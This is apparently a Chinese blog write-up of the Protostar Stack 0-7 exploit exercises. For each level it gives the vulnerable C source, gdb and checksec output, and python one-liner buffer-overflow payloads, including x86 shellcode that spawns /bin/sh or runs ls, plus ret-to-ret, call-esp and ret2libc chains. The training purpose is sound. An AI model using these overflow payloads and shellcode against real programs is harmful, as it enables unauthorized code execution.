Exploit Exercises Protostar Stack Part 0-7

Stack0

首先看下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

modified = 0;
gets(buffer);

if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}

看来我们是要通过缓冲区溢出讲局部变量modified的值改为1或者我们将程序的返回值直接执行成功的printf就行了

首先看看汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>: push %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: and $0xfffffff0,%esp
0x080483fa <main+6>: sub $0x60,%esp
0x080483fd <main+9>: movl $0x0,0x5c(%esp)
0x08048405 <main+17>: lea 0x1c(%esp),%eax
0x08048409 <main+21>: mov %eax,(%esp)
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov 0x5c(%esp),%eax
0x08048415 <main+33>: test %eax,%eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: movl $0x8048500,(%esp)
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: movl $0x8048529,(%esp)
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
End of assembler dump.

看到这个0x080483fd <main+9>: movl $0x0,0x5c(%esp) ,就是 modified = 0;

下面这个就是buffer的地址

1
2
0x08048405 <main+17>:   lea    0x1c(%esp),%eax
0x08048409 <main+21>: mov %eax,(%esp)

为了看看开了什么保护,还是装个peda,懒得去单独搞个checksec了,结果发现用不了这个虚拟机的gdb不支持python的感觉,还是搞checksec吧

1
2
3
$ ./checksec -f /opt/protostar/bin/stack0
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 2 /opt/protostar/bin/stack0

0x5c跟0x1c相差了0x40个字节,我们实时0x44个A是什么情况
可以看到刚好覆盖到了,假如我们覆盖成1或者其他非0值就行

1
2
(gdb) x /4w $esp+0x5c
0xbffffcac: 0x41414141 0x08048400 0x00000000 0xbffffd38

覆盖成1或者其他非0值

1
2
3
4
$ python -c 'print "A"*0x40+"\x01\x00\x00\x00"' | ./stack0
you have changed the 'modified' variable
$ python -c 'print "A"*0x40+"\x01"' | ./stack0
you have changed the 'modified' variable

##覆盖返回地址

发现buffer距离返回地址是0x54,后面改为要覆盖的地址即可

1
2
3
4
5
6
7
8
$ python -c 'print "A"*0x50+"\x19\x84\x04\x08"' | ./stack0
you have changed the 'modified' variable
you have changed the 'modified' variable
Segmentation fault
$ python -c 'print "\x00"*0x50+"\x19\x84\x04\x08"' | ./stack0
Try again?
you have changed the 'modified' variable
Segmentation fault

有个问题就是段错误了

stack1

还是先看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

if(argc == 1) {
errx(1, "please specify an argument\n");
}

modified = 0;
strcpy(buffer, argv[1]);

if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}

这个基本跟stack0差不多,不过这里要求modified 必须为0x61626364
还有就是这里通过命令行传参

结果:

1
2
$ ./stack1 $(python -c 'print "A"*0x40+"dcba"') 
you have correctly got the variable to the right value

stack2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;

variable = getenv("GREENIE");

if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}

modified = 0;

strcpy(buffer, variable);

if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}

}

这里考察的是设置环境变量

1
2
3
4
$ GREENIE=`python -c 'print "A"*0x40+"\x0a\x0d\x0a\x0d"'`
$ export GREENIE
$ ./stack2
you have correctly modified the variable

stack 3

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}

获得win函数地址

1
2
(gdb) print win
$1 = {void (void)} 0x8048424 <win>

所以最终就简单了,但是我们这里好像直接覆盖返回地址的话比如覆盖一个fp能执行且不影响程序的地址,原因应该是调用了fp();
为了简单
所以我们覆盖fp的值就好了

1
2
3
$ python -c 'print "A"*0x40+"\x24\x84\x04\x08"' | ./stack3 
calling function pointer, jumping to 0x08048424
code flow successfully changed

stack4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

这个就直接覆盖返回地址了

1
2
(gdb) print win
$1 = {void (void)} 0x80483f4 <win>

调试发现偏移是0x4c

1
2
3
$ python -c 'print "A"*0x4C+"\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault

stack5

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

这里叫你开始执行shellcode了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *0x080483d4
Breakpoint 1 at 0x80483d4: file stack5/stack5.c, line 10.
(gdb) r
Starting program: /opt/protostar/bin/stack5

Breakpoint 1, 0x080483d4 in main (argc=1, argv=0xbffffd64) at stack5/stack5.c:10
10 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) x $eax
0xbffffc70: 0xb7fd7ff4

eax的值就是局部变量的其实地址,我们将返回地址覆盖为这个,shellcode放最前面就行了

有个坑就是这个地址跟实际的不一样,我们调试的gdb地址是调试状态的地址。所以要用core文件。

用这个定位ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root@protostar:/tmp# gdb /opt/protostar/bin/stack5  core.11.stack5.3147 
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
/root/.gdbinit:1: Error in sourced command file:
/root/peda/peda.py:8: Error in sourced command file:
Undefined command: "from". Try "help".
Reading symbols from /opt/protostar/bin/stack5...done.

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x /30x $esp-0x50
0xbffffc50: 0x44434241 0x41414141 0x41414141 0x41414141
0xbffffc60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffca0: 0x41414141 0xbffffd00 0xbffffd4c 0xb7fe1848
0xbffffcb0: 0xbffffd00 0xffffffff 0xb7ffeff4 0x08048232
0xbffffcc0: 0x00000001 0xbffffd00

感觉这系统有点问题,没有任何返回,如果exit,就退出了,而不是返回上一层shell

1
2
3
4
5
root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5

root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5

root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5

后来直接用exec(ls)的shellcode

1
2
3
4
5
6
7
8
9
10
giantbranch:~# msfvenom -p linux/x86/exec CMD="ls" -f python 
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of python file: 192 bytes
buf = ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03"
buf += "\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"

那么就可以执行ls的了,真是日了狗,应该是我第一次的shellcode错了(当时是学习一步一步学rop时候的shellcode,怎么会错了)

1
2
3
4
5
6
root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x10\xfd\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack5
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x10\xfd\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack5
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6

stack6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
getpath();
}

这里if((ret & 0xbf000000) == 0xbf000000),如果返回地址是以bf开头,那么就会退出,所以我们要讲返回地址改成其他地址,比如程序中或者libc库中的地址

先定位返回值,懒得gdb调试定位了,直接peda(如果当前虚拟机用不了peda,可以用别的虚拟机啊)

1
2
gdb-peda$ pattern_create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

看看那里崩溃了

1
2
3
4
5
6
7
8
(gdb) r
Starting program: /opt/protostar/bin/stack6
input path please: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
got path AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAJAAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
0x41414a41 in ?? ()
(gdb)

查偏移为80

1
2
gdb-peda$ pattern_offset 0x41414a41 
1094797889 found at offset: 80

覆盖返回地址为ret指令地址

将返回地址覆盖为ret指令,下一个dword就可以0xbf开头了

随便在下面找ret的地址就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@protostar:/opt/protostar/bin# objdump -d ./stack6

./stack6: file format elf32-i386


Disassembly of section .init:

08048330 <_init>:
8048330: 55 push %ebp
8048331: 89 e5 mov %esp,%ebp
8048333: 53 push %ebx
8048334: 83 ec 04 sub $0x4,%esp
8048337: e8 00 00 00 00 call 804833c <_init+0xc>
804833c: 5b pop %ebx
804833d: 81 c3 b0 13 00 00 add $0x13b0,%ebx
8048343: 8b 93 fc ff ff ff mov -0x4(%ebx),%edx
8048349: 85 d2 test %edx,%edx
804834b: 74 05 je 8048352 <_init+0x22>
804834d: e8 1e 00 00 00 call 8048370 <__gmon_start__@plt>
8048352: e8 09 01 00 00 call 8048460 <frame_dummy>
8048357: e8 24 02 00 00 call 8048580 <__do_global_ctors_aux>
804835c: 58 pop %eax
804835d: 5b pop %ebx
804835e: c9 leave
804835f: c3 ret

Disassembly of section .plt:

08048360 <__gmon_start__@plt-0x10>:
8048360: ff 35 f0 96 04 08 pushl 0x80496f0
8048366: ff 25 f4 96 04 08 jmp *0x80496f4
804836c: 00 00 add %al,(%eax)
...
...
...

我选这个吧:804835f

1
2
3
4
5
root@protostar:/opt/protostar/bin# python -c 'print "A" * 80 + "\x5f\x83\x04\x08" + "\xe4\xfc\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA彿¿j
XRfh-c榯sh
1.txt final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7

覆盖返回地址为jmp esp

这个应该是比较最为通用方便的了

由于在当前程序找不到,我们去libc找吧
看看使用的库在哪

1
2
3
4
root@protostar:/opt/protostar/bin# ldd ./stack6
linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/libc.so.6 (0xb7e99000)
/lib/ld-linux.so.2 (0xb7fe5000)

用rp查找一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@protostar:/opt/protostar/bin# ./rp-lin-x86 -f /lib/libc.so.6 --rop=2 | grep "call esp"
0x00117fc0: aam 0x74 ; out dx, al ; call esp ; (1 found)
......
......
0x001288a8: add dh, dh ; call esp ; (1 found)
0x001288a9: add dh, dh ; call esp ; (1 found)
0x00129f18: bound ecx, dword [ebp] ; sti ; call esp ; (1 found)
0x00002e63: call esp ; (1 found)
0x00083a4b: call esp ; (1 found)
0x00110af8: call esp ; (1 found)
0x00117fc3: call esp ; (1 found)
0x0011a12a: call esp ; (1 found)
0x0011a12b: call esp ; (1 found)
0x0011b17e: call esp ; (1 found)
0x0011b17f: call esp ; (1 found)
0x0011b19a: call esp ; (1 found)
0x0011b19b: call esp ; (1 found)
......
......

选这个吧0x00110af8

1
2
>>> hex(0xb7e99000 + 0x00110af8)
'0xb7fa9af8L'

但发现这是错的

1
2
3
4
5
(gdb) x /4i 0xb7fa9af8L
0xb7fa9af8 <translit_to_idx+4504>: adc $0x18000010,%eax
0xb7fa9afd <translit_to_idx+4509>: adc %al,(%eax)
0xb7fa9aff <translit_to_idx+4511>: add %bl,(%ebx)
0xb7fa9b01 <translit_to_idx+4513>: adc %al,(%eax)

后来直接看maps

1
2
3
4
5
6
7
8
9
10
11
12
root@protostar:/home/user# cat /proc/5087/maps 
08048000-0804e000 r-xp 00000000 00:10 260 /bin/sleep
0804e000-0804f000 rw-p 00005000 00:10 260 /bin/sleep
0804f000-08070000 rw-p 00000000 00:00 0 [heap]
b7e96000-b7e97000 rw-p 00000000 00:00 0
b7e97000-b7fd5000 r-xp 00000000 00:10 759 /lib/libc-2.11.2.so
b7fd5000-b7fd6000 ---p 0013e000 00:10 759 /lib/libc-2.11.2.so
b7fd6000-b7fd8000 r--p 0013e000 00:10 759 /lib/libc-2.11.2.so
b7fd8000-b7fd9000 rw-p 00140000 00:10 759 /lib/libc-
......
......
bffeb000-c0000000 rw-p 00000000 00:00 0 [stack]

那就需要减个0x2000了,这时候就对了

1
2
3
4
5
(gdb) x /4i 0xb7fa7af8
0xb7fa7af8 <translit_from_tbl+7160>: call *%esp
0xb7fa7afa <translit_from_tbl+7162>: add %eax,(%eax)
0xb7fa7afc <translit_from_tbl+7164>: add %al,(%eax)
0xb7fa7afe <translit_from_tbl+7166>: add %al,(%eax)

那么就可以了

1
2
3
4
5
root@protostar:/opt/protostar/bin# python -c 'print "A" * 80 + "\xf8\x7a\xfa\xb7" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA󺶁AAAAAAAAAAA󺶪
XRfh-c榯sh
1.txt final1 format0 format2 format4 heap1 heap3 net1 net3 rp-lin-x86 stack1 stack3 stack5 stack7
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack0 stack2 stack4 stack6

其他方法呢

当然还有其他方法啦,如下:

1
"A" * 80 + p32(system_addr) + p32(ret) + p32(binsh_addr)

当然binsh_addr懒得找的话也可以直接放栈上,反正没开随机化

1
"A" * 80 + p32(system_addr) + p32(ret) + p32(binsh_addr) + "binsh"

rop很神奇,很多思路的

stack7

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
return strdup(buffer);
}

int main(int argc, char **argv)
{
getpath();
}

可以看到这次连b开头的地址都不能覆盖

那么我暂时的想法是覆盖为程序段的地址,比如程序段的ret,就有很多,跟上次stack6一样的了,所以有时候做一题就可以了,不用做太多,就这个道理

因为你看内存就只有程序的地址不是b开头的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@protostar:/home/user# cat /proc/5199/maps 
08048000-08049000 r-xp 00000000 00:10 4521 /opt/protostar/bin/stack7
08049000-0804a000 rwxp 00000000 00:10 4521 /opt/protostar/bin/stack7
b7e96000-b7e97000 rwxp 00000000 00:00 0
b7e97000-b7fd5000 r-xp 00000000 00:10 759 /lib/libc-2.11.2.so
b7fd5000-b7fd6000 ---p 0013e000 00:10 759 /lib/libc-2.11.2.so
b7fd6000-b7fd8000 r-xp 0013e000 00:10 759 /lib/libc-2.11.2.so
b7fd8000-b7fd9000 rwxp 00140000 00:10 759 /lib/libc-2.11.2.so
b7fd9000-b7fdc000 rwxp 00000000 00:00 0
b7fde000-b7fe2000 rwxp 00000000 00:00 0
b7fe2000-b7fe3000 r-xp 00000000 00:00 0 [vdso]
b7fe3000-b7ffe000 r-xp 00000000 00:10 741 /lib/ld-2.11.2.so
b7ffe000-b7fff000 r-xp 0001a000 00:10 741 /lib/ld-2.11.2.so
b7fff000-b8000000 rwxp 0001b000 00:10 741 /lib/ld-2.11.2.so
bffeb000-c0000000 rwxp 00000000 00:00 0 [stack]

所以最终

1
2
3
4
5
root@protostar:/opt/protostar/bin# python -c 'print "A" * 80 + "\x83\x83\x04\x08" + "\xe4\xfc\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA彿¿j
XRfh-c榯sh
1.txt final1 format0 format2 format4 heap1 heap3 net1 net3 rp-lin-x86 stack1 stack3 stack5 stack7
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack0 stack2 stack4 stack6

收获

发现一条快捷搜索的命令

objdump -M intel -d /opt/protostar/bin/stack7 | grep "call.*eax"

打赏专区